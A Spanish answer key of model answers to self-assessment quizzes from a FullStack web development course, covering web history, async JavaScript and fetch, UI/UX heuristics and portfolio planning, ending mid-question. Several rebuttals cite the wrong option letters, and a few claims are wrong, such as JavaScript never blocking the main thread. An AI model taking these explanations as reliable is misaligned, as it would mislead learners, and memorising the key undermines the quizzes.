✅ Respuestas de autoevaluaciones
Todas las respuestas modelo del manual oficial. Aprende el porqué de cada opción.
Manual de Capacitación Profesional: Desarrollador Web FullSt…
★★★★★ 4.7
$24.99 USD
Preguntas de opción múltiple (10)
-
¿Cuál fue el papel de Tim Berners-Lee en la historia de la web?
- a) Inventó JavaScript para hacer páginas interactivas.
- b) Creó el primer navegador y servidor web en el CERN en 1991. ✓ correcta
- c) Fundó Google y desarrolló el algoritmo PageRank.
- d) Es el creador del lenguaje HTML5 y CSS3.
Por qué: Berners-Lee creó en 1991 el primer navegador y servidor web en el CERN, además de definir HTTP, HTML y las URLs.Detalle: Berners-Lee creó en 1991 el primer navegador y servidor web en el CERN, además de definir HTTP, HTML y las URLs. | a) JavaScript fue creado por Brendan Eich en 1995, no por Berners-Lee. | c) HTML5 y CSS3 son especificaciones del W3C y WHATWG, no obra de una sola persona. -
¿Cuál es la responsabilidad principal de CSS en una página web?
- a) Definir la estructura y el contenido de la página.
- b) Definir cómo se ve la página: colores, tamaños, distribución. ✓ correcta
- c) Definir la lógica y el comportamiento interactivo.
- d) Conectar la página con el servidor y la base de datos.
Por qué: CSS controla la presentación visual: colores, tipografías, espacios, animaciones. La estructura la maneja HTML y el comportamiento JavaScript.Detalle: CSS controla la presentación visual: colores, tipografías, espacios, animaciones. La estructura la maneja HTML y el comportamiento JavaScript. | a) Esa es responsabilidad de HTML, no de CSS. | c) CSS no se conecta con el servidor; eso lo hace JavaScript o un lenguaje de backend. -
¿Qué significa que un desarrollador tenga un perfil 'T-shaped'?
- a) Que solo sabe trabajar en una tecnología específica.
- b) Que tiene conocimientos amplios en todas las capas y profundos en una o dos. ✓ correcta
- c) Que es experto en frontend pero no sabe nada de backend.
- d) Que es junior y todavía no ha elegido una especialización.
Por qué: El perfil T-shaped = barra horizontal amplia (entiende varias capas) + barra vertical profunda (domina una o dos áreas). Es el perfil ideal del FullStack moderno.Detalle: El perfil T-shaped = barra horizontal amplia (entiende varias capas) + barra vertical profunda (domina una o dos áreas). Es el perfil ideal del FullStack moderno. | a) Si solo sabe una cosa, no es T-shaped, es I-shaped (especialista puro). | c) Junior y T-shaped no son lo mismo: un junior puede tener perfil T si ya tocó varias capas. -
¿Qué hace principalmente el backend en una aplicación moderna?
- a) Mostrar botones y animaciones al usuario.
- b) Recibir peticiones, validar datos, aplicar reglas de negocio y devolver respuestas. ✓ correcta
- c) Definir los colores y la tipografía de la interfaz.
- d) Ejecutarse únicamente en el navegador del usuario.
Por qué: El backend corre en el servidor, recibe peticiones HTTP, valida datos, ejecuta la lógica de negocio, consulta bases de datos y devuelve respuestas (generalmente en JSON).Detalle: El backend corre en el servidor, recibe peticiones HTTP, valida datos, ejecuta la lógica de negocio, consulta bases de datos y devuelve respuestas (generalmente en JSON). | a) Eso es trabajo del frontend (HTML + CSS + JavaScript / React). | c) El backend NO se ejecuta en el navegador: se ejecuta en un servidor remoto. -
¿Por qué hoy se necesita un Desarrollador FullStack en lugar de uno solo frontend o solo backend?
- a) Porque los frameworks actuales obligan a usar todas las tecnologías a la vez.
- b) Porque las aplicaciones modernas tienen tantas capas (UI, API, BD, IA, despliegue) que entender todo el rompecabezas es valioso. ✓ correcta
- c) Porque el mercado ya no contrata especialistas, solo generalistas baratos.
- d) Porque FullStack es solo un título de LinkedIn sin contenido real.
Por qué: Las apps modernas son complejas: UI, API, BD, autenticación, pagos, IA, despliegue. Un FullStack entiende cómo encajan todas las piezas.Detalle: Las apps modernas son complejas: UI, API, BD, autenticación, pagos, IA, despliegue. Un FullStack entiende cómo encajan todas las piezas. | a) Ningún framework te obliga a usar todas las tecnologías a la vez. | c) FullStack es un perfil real con habilidades concretas, no solo un título de LinkedIn. -
¿Cuál de estas tecnologías se ejecuta ÚNICAMENTE en el navegador del usuario?
- a) PHP
- b) JavaScript del lado del cliente ✓ correcta
- c) MySQL
- d) Node.js
Por qué: PHP, MySQL y Node.js corren en el servidor. Solo el JavaScript del cliente se ejecuta en el navegador del usuario.Detalle: PHP, MySQL y Node.js corren en el servidor. Solo el JavaScript del cliente se ejecuta en el navegador del usuario. | a) PHP es un lenguaje que se ejecuta en el servidor. | c) Node.js es JavaScript pero del lado del servidor. -
¿Qué significa que una página web sea 'responsive'?
- a) Que responde rápido a las peticiones del usuario.
- b) Que se adapta a distintos tamaños de pantalla (móvil, tablet, desktop). ✓ correcta
- c) Que tiene animaciones suaves y transiciones.
- d) Que se carga sin necesidad de internet.
Por qué: Responsive design = diseño adaptativo. La página cambia su layout según el tamaño de pantalla del dispositivo.Detalle: Responsive design = diseño adaptativo. La página cambia su layout según el tamaño de pantalla del dispositivo. | a) Eso se llama 'rendimiento' o 'performance', no responsive. | c) Eso se llama 'modo offline' o 'PWA', no responsive. -
¿Cuál de los siguientes NO es un framework o biblioteca de JavaScript?
- a) React
- b) Vue
- c) Laravel ✓ correcta
- d) Angular
Por qué: Laravel es un framework de PHP, no de JavaScript. React, Vue y Angular son frameworks/bibliotecas de JavaScript para frontend.Detalle: Laravel es un framework de PHP, no de JavaScript. React, Vue y Angular son frameworks/bibliotecas de JavaScript para frontend. | a) React es una biblioteca de JavaScript para construir interfaces. | b) Vue es un framework progresivo de JavaScript. -
¿Qué empresa liberó React como código abierto en 2013?
- a) Google
- b) Microsoft
- c) Facebook (ahora Meta) ✓ correcta
- d) Twitter (ahora X)
Por qué: React fue creado por Jordan Walke en Facebook y liberado como open source en 2013. Lo mantienen Meta junto a la comunidad.Detalle: React fue creado por Jordan Walke en Facebook y liberado como open source en 2013. Lo mantienen Meta junto a la comunidad. | a) Google mantiene Angular, no React. | b) Microsoft mantiene TypeScript y VS Code, no React. -
¿Cuál es la diferencia principal entre SQL y NoSQL?
- a) SQL es más nuevo que NoSQL.
- b) SQL usa tablas con esquema fijo; NoSQL usa documentos flexibles. ✓ correcta
- c) SQL es para páginas web; NoSQL es para apps móviles.
- d) No hay diferencia, son sinónimos.
Por qué: SQL organiza datos en tablas estructuradas; NoSQL (como MongoDB) usa documentos JSON flexibles. Ambos tienen casos de uso válidos.Detalle: SQL organiza datos en tablas estructuradas; NoSQL (como MongoDB) usa documentos JSON flexibles. Ambos tienen casos de uso válidos. | a) SQL existe desde los años 70; es más antiguo que NoSQL. | c) No son sinónimos: son familias diferentes con propósitos diferentes.
Preguntas abiertas (3)
-
Explica con tus palabras: ¿qué es un Desarrollador FullStack y por qué el mercado lo valora? (3 a 5 líneas).
Respuesta modelo: Un Desarrollador FullStack es capaz de trabajar en todas las capas de una aplicación web: frontend (lo que ve el usuario), backend (la lógica del servidor) y base de datos (donde se guarda la información). El mercado lo valora porque en proyectos pequeños y medianos es más eficiente tener gente que entienda todo el rompecabezas, en lugar de depender de tres especialistas que deben coordinarse perfectamente. Además, un FullStack se comunica mejor con cualquier miembro del equipo y puede tomar decisiones técnicas con visión completa.
-
¿Por qué JavaScript se convirtió en el lenguaje más usado del mundo si fue creado en solo 10 días? (3 a 5 líneas).
Respuesta modelo: A pesar de su creación apresurada, JavaScript resolvió un problema real: hacer páginas web interactivas sin tener que recargarlas. Su integración nativa con los navegadores le dio una distribución inmediata: cualquier persona con un navegador podía usarlo. Con el tiempo, la comunidad lo madureció (ES6+ en 2015) y lo llevó al servidor con Node.js, convirtiéndolo en lenguaje de FullStack. Es un caso de libro de cómo la utilidad y la accesibilidad triunfan sobre la pureza del diseño.
-
Si tuvieras que explicarle a un amigo que NO sabe programar qué cambió entre la Web 1.0 y la Web 3.0, ¿qué ejemplo cotidiano le darías? (3 a 5 líneas).
Respuesta modelo: Le diría: 'En la Web 1.0 era como leer un periódico impreso: tú leías, pero no podías comentar ni compartir nada. En la Web 2.0 es como entrar a Facebook: publicas, comentas, subes fotos y todo el mundo interactúa contigo. En la Web 3.0 es como tu celular moderno: la página se adapta al tamaño de tu pantalla, guarda tus preferencias y funciona aunque pierdas la conexión unos segundos.' La clave es que cada versión le dio más poder al usuario.
Preguntas de opción múltiple (10)
-
¿Por qué JavaScript necesita asincronía?
- a) Por moda.
- b) Porque es de un solo hilo: si se queda 'esperando' una operación, la página se congela. ✓ correcta
- c) Porque los servidores son lentos.
- d) Por compatibilidad con otros lenguajes.
Por qué: JavaScript ejecuta una cosa a la vez (single-threaded). Si se queda esperando una petición HTTP o un temporizador, TODO lo demás se congela: la página no responde, los botones no hacen clic, las animaciones se detienen. La asincronía permite que el código siga ejecutándose mientras espera.Detalle: JavaScript ejecuta una cosa a la vez (single-threaded). Si se queda esperando una petición HTTP o un temporizador, TODO lo demás se congela: la página no responde, los botones no hacen clic, las animaciones se detienen. La asincronía permite que el código siga ejecutándose mientras espera. | a) Es una necesidad técnica, no una moda. | c) No tiene relación con otros lenguajes. -
¿Cuáles son los 3 estados de una Promise?
- a) Cargando, descargando, listo.
- b) Pending (esperando), fulfilled (cumplida), rejected (rechazada). ✓ correcta
- c) Iniciada, pausada, terminada.
- d) Verdadero, falso, indefinido.
Por qué: Una Promise tiene 3 estados: pending (todavía no se resolvió), fulfilled (se cumplió, hay un valor), rejected (se rechazó, hay un error). Solo puede pasar de pending a UNO de los otros dos, una sola vez.Detalle: Una Promise tiene 3 estados: pending (todavía no se resolvió), fulfilled (se cumplió, hay un valor), rejected (se rechazó, hay un error). Solo puede pasar de pending a UNO de los otros dos, una sola vez. | a) Esos no son los nombres técnicos de los estados. | c) Esos son valores booleanos, no estados de Promise. -
¿Qué hace la palabra clave await dentro de una función async?
- a) Espera a que una Promise se resuelva, SIN bloquear el resto del código. ✓ correcta
- b) Cancela la ejecución de la función.
- c) Hace que la función sea síncrona.
- d) Detiene TODO el programa hasta que termine la operación.
Por qué: await hace que JavaScript ESPERE el resultado de una Promise, pero sin bloquear el hilo principal. El resto de la página sigue funcionando (otros listeners, animaciones, etc.). Es el truco que hace async/await poderoso.Detalle: await hace que JavaScript ESPERE el resultado de una Promise, pero sin bloquear el hilo principal. El resto de la página sigue funcionando (otros listeners, animaciones, etc.). Es el truco que hace async/await poderoso. | b) await no hace la función síncrona; sigue siendo asíncrona. | c) await no bloquea todo el programa; solo esa función async hasta que la Promise se resuelva. -
¿Qué pasa si olvidas el 'await' en una llamada a fetch?
- a) El programa se rompe con error.
- b) Obtienes la Promise en lugar de los datos; verás 'Promise { <pending> }' en consola. ✓ correcta
- c) La petición se hace igual pero más rápido.
- d) Nada, el programa sigue igual.
Por qué: fetch() devuelve una Promise inmediatamente. Sin await, lo que tienes es la Promise, no los datos. Si haces console.log, verás 'Promise { <pending> }'. Es el error #1 de principiantes con async/await.Detalle: fetch() devuelve una Promise inmediatamente. Sin await, lo que tienes es la Promise, no los datos. Si haces console.log, verás 'Promise { <pending> }'. Es el error #1 de principiantes con async/await. | a) No hay error de sintaxis; la Promise existe, solo que no esperaste. | c) No es 'nada': te quedas con la Promise en vez de los datos. -
¿Por qué hay que chequear 'respuesta.ok' después de un fetch?
- a) Porque fetch no lanza error con 404 o 500: la petición HTTP se 'completó' aunque el servidor respondiera con error. ✓ correcta
- b) Porque si no, el navegador se congela.
- c) Es opcional, no es necesario.
- d) Porque ok es una palabra reservada.
Por qué: fetch SOLO rechaza la Promise si la RED falla (sin internet, CORS, DNS). Si el servidor responde con 404 o 500, fetch lo considera 'éxito' porque la petición HTTP se completó. Sin chequear respuesta.ok, tu código intenta procesar HTML de error como si fuera JSON y explota silenciosamente.Detalle: fetch SOLO rechaza la Promise si la RED falla (sin internet, CORS, DNS). Si el servidor responde con 404 o 500, fetch lo considera 'éxito' porque la petición HTTP se completó. Sin chequear respuesta.ok, tu código intenta procesar HTML de error como si fuera JSON y explota silenciosamente. | b) No se congela; el problema es que procesas HTML de error como JSON. | c) No es opcional; sin esto tu app se rompe en producción. -
¿Qué ventaja tiene Promise.all sobre esperar varias Promises una por una?
- a) Promise.all es más lento.
- b) Promise.all ejecuta las Promises EN PARALELO, terminando cuando la MÁS LENTA termina. Esperar una por una tarda la SUMA de todas. ✓ correcta
- c) Es lo mismo, solo cambia la sintaxis.
- d) Promise.all solo funciona con 2 Promises.
Por qué: Promise.all ejecuta las Promises en paralelo. Si tienes 5 peticiones de 1 segundo cada una, en serie tardas 5 segundos; con Promise.all tardas 1 segundo (lo que tarde la más lenta). Es una optimización clave de rendimiento.Detalle: Promise.all ejecuta las Promises en paralelo. Si tienes 5 peticiones de 1 segundo cada una, en serie tardas 5 segundos; con Promise.all tardas 1 segundo (lo que tarde la más lenta). Es una optimización clave de rendimiento. | a) Es más rápido, no más lento. | c) Funciona con cualquier cantidad de Promises, no solo 2. -
¿Cómo se manejan errores en una función async/await?
- a) Con .catch() igual que en Promises.
- b) Con try/catch, igual que en código síncrono. ✓ correcta
- c) Los errores no se pueden manejar en async.
- d) Con throw sin más.
Por qué: async/await usa try/catch, la misma sintaxis que en código síncrono. await puede lanzar un error si la Promise fue rechazada, y try/catch lo atrapa. Es más legible que .catch() en cadenas de .then().Detalle: async/await usa try/catch, la misma sintaxis que en código síncrono. await puede lanzar un error si la Promise fue rechazada, y try/catch lo atrapa. Es más legible que .catch() en cadenas de .then(). | a) .catch() también funciona, pero con async/await se usa try/catch. | c) throw sin try/catch deja el error sin atrapar, lo cual rompe la app. -
¿Cuál es la forma correcta de hacer POST con fetch?
- a) fetch('/api/usuarios', { usuario: nuevoUsuario })
- b) fetch('/api/usuarios', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(nuevoUsuario) }) ✓ correcta
- c) fetch('/api/usuarios', 'POST', nuevoUsuario)
- d) fetch.POST('/api/usuarios', nuevoUsuario)
Por qué: Para POST necesitas: method: 'POST', headers indicando que el cuerpo es JSON, y body con los datos convertidos a string con JSON.stringify(). Es la firma estándar de fetch para enviar datos.Detalle: Para POST necesitas: method: 'POST', headers indicando que el cuerpo es JSON, y body con los datos convertidos a string con JSON.stringify(). Es la firma estándar de fetch para enviar datos. | a) Falta el method, los headers y JSON.stringify. | c) fetch.POST no existe; es fetch con options. -
¿Cuál es el verbo HTTP correcto para ELIMINAR un recurso?
- a) GET
- b) POST
- c) PUT
- d) DELETE ✓ correcta
Por qué: DELETE es el verbo HTTP para eliminar un recurso. Mapea a la 'D' de CRUD (Delete). Los 4 verbos principales: GET (leer), POST (crear), PUT/PATCH (actualizar), DELETE (eliminar).Detalle: DELETE es el verbo HTTP para eliminar un recurso. Mapea a la 'D' de CRUD (Delete). Los 4 verbos principales: GET (leer), POST (crear), PUT/PATCH (actualizar), DELETE (eliminar). | a) GET es para LEER, no eliminar. | b) POST es para CREAR. | c) PUT es para ACTUALIZAR. -
Si una petición tarda 5 segundos, ¿la página se queda congelada durante 5 segundos?
- a) Sí, si no usas async/await.
- b) No, porque await no bloquea el hilo principal. La página sigue respondiendo mientras la petición está en curso. ✓ correcta
- c) Sí, JavaScript es síncrono por naturaleza.
- d) Depende del navegador.
Por qué: await no bloquea el hilo principal. Mientras la petición está en curso, otros listeners, animaciones y código siguen ejecutándose. Cuando la petición termina, tu función async continúa desde donde quedó. Por eso la asincronía es tan poderosa.Detalle: await no bloquea el hilo principal. Mientras la petición está en curso, otros listeners, animaciones y código siguen ejecutándose. Cuando la petición termina, tu función async continúa desde donde quedó. Por eso la asincronía es tan poderosa. | a) Aunque no uses async/await, JavaScript tiene event loop: nunca bloquea el hilo principal. | c) El comportamiento es consistente en todos los navegadores modernos.
Preguntas abiertas (3)
-
Explica la diferencia entre una Promise y async/await. ¿Por qué async/await se considera 'syntactic sugar'? (3 a 5 líneas).
Respuesta modelo: async/await es syntactic sugar sobre las Promises: debajo sigue siendo una Promise. Lo que hace es darte una sintaxis más limpia. Una función async siempre devuelve una Promise. await solo se puede usar dentro de funciones async, y lo que hace es 'esperar' a que una Promise se resuelva, sin bloquear el hilo. La ventaja: código que se lee como si fuera síncrono (de arriba a abajo), pero sigue siendo asíncrono. Si debuggearas con DevTools, verías las mismas Promises debajo. Pero para el programador, async/await es mucho más legible que cadenas de .then().
-
Explica por qué fetch NO lanza error con un 404 o 500, y cómo deberías manejarlo. Da un ejemplo de código. (3 a 5 líneas).
Respuesta modelo: fetch SOLO rechaza la Promise si la RED falla (sin internet, CORS, DNS). Un 404 o 500 NO es un error de red: la petición HTTP se 'completó' (llegó una respuesta). Por eso fetch lo considera éxito. La solución: chequear manualmente respuesta.ok (true para 200-299, false para el resto) o respuesta.status (el código). Ejemplo: const r = await fetch('/api'); if (!r.ok) throw new Error('HTTP ' + r.status); const datos = await r.json(); Sin este chequeo, mi código intenta procesar HTML de error como JSON y explota.
-
Imagina una página de dashboard que necesita cargar 3 cosas: perfil del usuario, sus notificaciones y el clima de su ciudad. Escribe el código con async/await y Promise.all, y explica por qué Promise.all es más rápido que esperar una por una. (4 a 6 líneas).
Respuesta modelo: async function cargarDashboard() {
const [perfil, notifs, clima] = await Promise.all([
fetch('/api/perfil').then(r => r.json()),
fetch('/api/notificaciones').then(r => r.json()),
fetch('/api/clima').then(r => r.json())
]);
return { perfil, notifs, clima };
}
Promise.all ejecuta las 3 peticiones EN PARALELO. Si cada una tarda 1 segundo, en serie tardarías 3 segundos (esperando una tras otra). Con Promise.all, tardas 1 segundo (lo que tarde la MÁS LENTA). Es 3 veces más rápido. La sintaxis: paso un array de Promises, y Promise.all devuelve una Promise que se resuelve con un array de resultados en el mismo orden.
Preguntas de opción múltiple (10)
-
¿Cuál es la diferencia entre UI y UX?
- a) Son lo mismo con distinto nombre.
- b) UI es lo que se VE; UX es lo que se SIENTE al usar el producto. ✓ correcta
- c) UI es para móviles, UX para desktop.
- d) UI la hacen los programadores, UX los diseñadores.
Por qué: UI (User Interface) es la parte VISUAL: colores, tipografía, botones, layout. UX (User Experience) es la EXPERIENCIA completa de uso: ¿fue fácil? ¿encontré lo que buscaba? ¿me frustré? Un sitio puede tener buena UI pero mala UX (bonito pero inusable).Detalle: UI (User Interface) es la parte VISUAL: colores, tipografía, botones, layout. UX (User Experience) es la EXPERIENCIA completa de uso: ¿fue fácil? ¿encontré lo que buscaba? ¿me frustré? Un sitio puede tener buena UI pero mala UX (bonito pero inusable). | a) No son sinónimos; son complementarios. | c) Ambos roles pueden participar en cualquier proyecto; no son excluyentes por rol. -
¿Cuál de las 10 heurísticas de Nielsen es la MÁS violada en la web?
- a) Match between system and real world
- b) Visibility of system status ✓ correcta
- c) User control and freedom
- d) Aesthetic and minimalist design
Por qué: La heurística #1, 'Visibilidad del estado del sistema', es la más violada: el usuario hace clic y NADA pasa visible (sin loading, sin confirmación, sin cambio). Es la causa #1 de frustración en la web.Detalle: La heurística #1, 'Visibilidad del estado del sistema', es la más violada: el usuario hace clic y NADA pasa visible (sin loading, sin confirmación, sin cambio). Es la causa #1 de frustración en la web. | a) Es importante pero no la más violada. | c) Es una causa de problemas, pero menor que la falta de feedback. -
¿Cuál es la mejor posición para el label de un input?
- a) A la izquierda del input (horizontal).
- b) ARRIBA del input (vertical). ✓ correcta
- c) Dentro del input (placeholder).
- d) Debajo del input.
Por qué: El label arriba del input es la posición más rápida de leer (el ojo no tiene que girar), funciona bien en móvil (donde el espacio horizontal es limitado), y deja al placeholder libre para ejemplos del formato.Detalle: El label arriba del input es la posición más rápida de leer (el ojo no tiene que girar), funciona bien en móvil (donde el espacio horizontal es limitado), y deja al placeholder libre para ejemplos del formato. | a) Funciona en desktop pero en móvil ocupa mucho espacio horizontal. | c) Debajo funciona pero es menos convencional y confunde. -
¿Por qué los placeholders NO deben reemplazar a los labels?
- a) Porque se ven feos.
- b) Porque DESAPARECEN al escribir, dejando al usuario sin saber qué campo es. ✓ correcta
- c) Porque no son accesibles.
- d) Porque ocupan mucho espacio.
Por qué: El placeholder es un texto temporal que desaparece cuando el usuario empieza a escribir. Si SOLO usas placeholders, el usuario olvida qué es cada campo, especialmente si se confunde y vuelve a un campo anterior. Usa labels SIEMPRE, placeholders solo como EJEMPLO del formato ('ana@mail.com').Detalle: El placeholder es un texto temporal que desaparece cuando el usuario empieza a escribir. Si SOLO usas placeholders, el usuario olvida qué es cada campo, especialmente si se confunde y vuelve a un campo anterior. Usa labels SIEMPRE, placeholders solo como EJEMPLO del formato ('ana@mail.com'). | a) El problema no es estético, es funcional. | c) Ocupan poco espacio; ese no es el problema. -
Según estudios, ¿qué pasa con la tasa de conversión de un formulario por cada campo extra?
- a) Sube un 5%.
- b) Se mantiene igual.
- c) Baja un 5-10%. ✓ correcta
- d) Depende del campo.
Por qué: Estudios de Baymard y otros muestran que cada campo extra reduce 5-10% la tasa de completado. Por eso la regla: pide SOLO lo estrictamente necesario. Lo demás, en pasos posteriores o después del registro.Detalle: Estudios de Baymard y otros muestran que cada campo extra reduce 5-10% la tasa de completado. Por eso la regla: pide SOLO lo estrictamente necesario. Lo demás, en pasos posteriores o después del registro. | a) Más campos = menos conversiones, no más. | b) No se mantiene: cada campo penaliza. -
¿Cuál es el verbo correcto para el botón de un formulario de registro?
- a) OK
- b) Enviar
- c) Crear cuenta ✓ correcta
- d) Aceptar
Por qué: 'Crear cuenta' dice exactamente QUÉ va a pasar al hacer clic. 'OK', 'Enviar' y 'Aceptar' son vagos: el usuario no sabe si va a crear algo, modificarlo, o simplemente confirmar. El botón debe tener el VERBO de la acción.Detalle: 'Crear cuenta' dice exactamente QUÉ va a pasar al hacer clic. 'OK', 'Enviar' y 'Aceptar' son vagos: el usuario no sabe si va a crear algo, modificarlo, o simplemente confirmar. El botón debe tener el VERBO de la acción. | a) 'OK' es vago, no dice qué pasa. | b) 'Enviar' es genérico y no específico al contexto. -
¿Qué significa la 'paradoja de la elección' en el contexto de UI?
- a) Que los usuarios siempre eligen la primera opción.
- b) Que ofrecer DEMASIADAS opciones paraliza al usuario y reduce la tasa de conversión. ✓ correcta
- c) Que los usuarios no saben elegir entre 2 opciones.
- d) Que solo debe haber 1 opción siempre.
Por qué: La paradoja de la elección dice que ofrecer más opciones no siempre es mejor. Más de 7-10 opciones en un menú paraliza al usuario (no sabe qué elegir) y reduce la tasa de conversión. La solución: agrupar en categorías, priorizar, y mostrar las 3-5 principales.Detalle: La paradoja de la elección dice que ofrecer más opciones no siempre es mejor. Más de 7-10 opciones en un menú paraliza al usuario (no sabe qué elegir) y reduce la tasa de conversión. La solución: agrupar en categorías, priorizar, y mostrar las 3-5 principales. | a) Los usuarios no siempre eligen la primera; depende del contexto. | c) A veces 1 opción es correcto (Google en su inicio), pero no siempre. -
¿Qué tipo de feedback es MÁS importante dar al usuario?
- a) Solo al completar la acción (éxito o error).
- b) Inmediato: cambio visual al hacer clic, loading mientras carga, resultado al final. ✓ correcta
- c) Solo loading mientras carga.
- d) Solo mensajes de error.
Por qué: El feedback debe ser CONTINUO: inmediato al hacer clic (cambio de color/texto del botón), mientras carga (spinner o progreso), y al final (éxito o error). Esto cumple la heurística #1 de Nielsen: visibilidad del estado del sistema.Detalle: El feedback debe ser CONTINUO: inmediato al hacer clic (cambio de color/texto del botón), mientras carga (spinner o progreso), y al final (éxito o error). Esto cumple la heurística #1 de Nielsen: visibilidad del estado del sistema. | a) Esperar al final deja al usuario sin saber qué pasa durante la operación. | c) Solo errores es negativo y deja al usuario adivinando en el caso exitoso. -
¿Qué es una 'microinteracción'?
- a) Un error en la interfaz.
- b) Un pequeño momento de feedback visual: botón que cambia de color, animación al agregar al carrito, etc. ✓ correcta
- c) Una técnica avanzada de CSS Grid.
- d) Un tipo de evento de JavaScript.
Por qué: Las microinteracciones son pequeños momentos de feedback visual que hacen que el sitio se sienta vivo: cambio de color al hacer hover, spinner al cargar, check al completar. Cada una refuerza la sensación de que el sistema responde a las acciones del usuario.Detalle: Las microinteracciones son pequeños momentos de feedback visual que hacen que el sitio se sienta vivo: cambio de color al hacer hover, spinner al cargar, check al completar. Cada una refuerza la sensación de que el sistema responde a las acciones del usuario. | a) No son errores, son detalles de diseño intencionales. | c) No son un evento de JS; pueden involucrar varios eventos. -
¿Qué significa la 'regla de los 3 clicks'?
- a) El usuario debe hacer máximo 3 clicks para lograr su objetivo principal. ✓ correcta
- b) Solo puedes tener 3 botones en una pantalla.
- c) Cada click debe durar 3 segundos.
- d) El sitio debe cargar en 3 clicks de scroll.
Por qué: La regla de los 3 clicks dice que el usuario debe poder lograr su objetivo principal en máximo 3 clicks. Si necesita más, el diseño tiene un problema. Optimiza para 'el camino más corto al éxito'.Detalle: La regla de los 3 clicks dice que el usuario debe poder lograr su objetivo principal en máximo 3 clicks. Si necesita más, el diseño tiene un problema. Optimiza para 'el camino más corto al éxito'. | b) No tiene relación con la duración del click. | c) No tiene relación con el scroll.
Preguntas abiertas (3)
-
Explica la diferencia entre UI y UX con un ejemplo de un sitio que conoces (bueno o malo). ¿Qué tiene de UI? ¿Qué tiene de UX? (3 a 5 líneas).
Respuesta modelo: Ejemplo: Google. UI: logo colorido de Google, caja de búsqueda minimalista, botón 'Buscar con Google', botón 'Voy a tener suerte', fondo blanco, tipografía sans-serif. UX: la página carga en 0.3 segundos, la caja de búsqueda es LO PRIMERO que ves, no hay distracciones, los resultados son relevantes, el autocomplete sugiere mientras escribes. La UI de Google es simple (casi espartana), pero la UX es de las mejores del mundo: cumple su objetivo (encontrar información) en el menor tiempo posible. Es un caso clásico de 'UX excelente compensa UI simple'.
-
Explica por qué la heurística #1 de Nielsen ('visibilidad del estado del sistema') es la más violada. Da 3 ejemplos concretos de sitios que hayas usado. (4 a 6 líneas).
Respuesta modelo: La heurística #1 es la más violada porque es MÁS FÁCIL no implementarla: solo no pongas loading, no cambies el botón, no muestres confirmación. Ejemplos: (1) Un formulario de contacto que al hacer clic en 'Enviar' no muestra nada: ¿se envió? ¿falló? ¿se quedó cargando? El usuario hace clic 5 veces. (2) Una subida de archivo sin barra de progreso: subes una foto de 5MB y no sabes si lleva 10% o 90%. (3) Un botón de 'Me gusta' que no cambia visualmente: clic y nada pasa, ¿se registró? ¿se guardó? ¿hay que recargar? El feedback visual continuo es BARATO de implementar (5 minutos de código) y tiene un impacto ENORME en la percepción de calidad.
-
Diseña un formulario de 'Registro de cuenta' siguiendo las 6 reglas de oro. ¿Qué campos pondrías, en qué orden, con qué labels y qué texto en el botón? (4 a 6 líneas).
Respuesta modelo: Mi formulario: (1) Nombre completo, label arriba, placeholder 'Como aparece en tu INE'. (2) Correo electrónico, label arriba, placeholder 'tu@correo.com'. (3) Contraseña, label arriba, con texto de ayuda visible 'Mínimo 8 caracteres, al menos un número y una mayúscula'. (4) Repite tu contraseña (para evitar errores de tipeo). NO pongo teléfono, fecha de nacimiento ni género: lo estrictamente necesario. Orden: nombre, email, contraseña, repite contraseña. El usuario llena de lo más simple a lo más complejo. Botón: 'Crear cuenta', no 'OK' ni 'Enviar'. Debajo del botón: '¿Ya tienes cuenta? Inicia sesión' (enlace secundario). Si valido en cliente: cada campo muestra error específico en rojo debajo ('Este correo no es válido') en vez de un 'Error' genérico arriba.
Preguntas de opción múltiple (10)
-
¿Por qué es importante PLANIFICAR antes de empezar a escribir código?
- a) No es importante, mejor empezar a programar ya.
- b) Un proyecto bien planificado se construye hasta 3 veces más rápido que uno improvisado. ✓ correcta
- c) Solo para proyectos grandes, no para portafolios.
- d) Para impresionar al cliente.
Por qué: Un proyecto bien planificado (secciones, paleta, arquitectura, decisiones documentadas) se construye hasta 3 veces más rápido que uno improvisado. Reduces cambios costosos a mitad de camino, tienes claro qué hacer en cada momento, y el resultado es más coherente.Detalle: Un proyecto bien planificado (secciones, paleta, arquitectura, decisiones documentadas) se construye hasta 3 veces más rápido que uno improvisado. Reduces cambios costosos a mitad de camino, tienes claro qué hacer en cada momento, y el resultado es más coherente. | a) Es importante en TODOS los tamaños de proyecto. | c) No es para impresionar; es para ser eficiente. -
¿Cuál es la estructura de carpetas CSS PROFESIONAL recomendada?
- a) Un solo archivo estilos.css de 2000 líneas.
- b) Múltiples archivos CSS por responsabilidad: reset, variables, tipografía, layout, componentes, responsive. ✓ correcta
- c) Un archivo por sección de la página.
- d) No importa, lo que funcione.
Por qué: La organización profesional divide CSS por RESPONSABILIDAD: 00-reset, 01-variables, 02-tipografia, 03-layout, 04-componentes, 05-utilidades, 06-responsive. Cada archivo tiene un propósito claro. Es más fácil de mantener, encontrar, y trabajar en equipo.Detalle: La organización profesional divide CSS por RESPONSABILIDAD: 00-reset, 01-variables, 02-tipografia, 03-layout, 04-componentes, 05-utilidades, 06-responsive. Cada archivo tiene un propósito claro. Es más fácil de mantener, encontrar, y trabajar en equipo. | a) Un solo archivo se vuelve inmantenible con más de 500 líneas. | c) Importa: una buena organización es señal de profesionalismo. -
¿Por qué NO se debe usar un framework como React en el portafolio del Capítulo 1?
- a) Porque React es malo.
- b) Porque el Capítulo 1 es sobre FUNDAMENTOS. Un reclutador prefiere ver que dominas HTML/CSS/JS vanilla antes de subir a abstracciones. ✓ correcta
- c) Porque es más caro.
- d) Porque no funciona.
Por qué: El Capítulo 1 es sobre FUNDAMENTOS. Un portafolio en React mal estructurado da peor impresión que uno en vanilla bien hecho. Demuestra que entiendes la base antes de las abstracciones. En el Capítulo 3 harás un portafolio CON React, cuando ya domines los fundamentos.Detalle: El Capítulo 1 es sobre FUNDAMENTOS. Un portafolio en React mal estructurado da peor impresión que uno en vanilla bien hecho. Demuestra que entiendes la base antes de las abstracciones. En el Capítulo 3 harás un portafolio CON React, cuando ya domines los fundamentos. | a) React no es malo; es la herramienta correcta para apps complejas, no para un portafolio simple. | c) React sí funciona. -
¿Qué es el README.md de un proyecto?
- a) Un archivo opcional con notas del programador.
- b) La carta de presentación del proyecto: nombre, descripción, tecnologías, demo, instrucciones, contacto. ✓ correcta
- c) Un archivo de configuración.
- d) La documentación de las funciones de JavaScript.
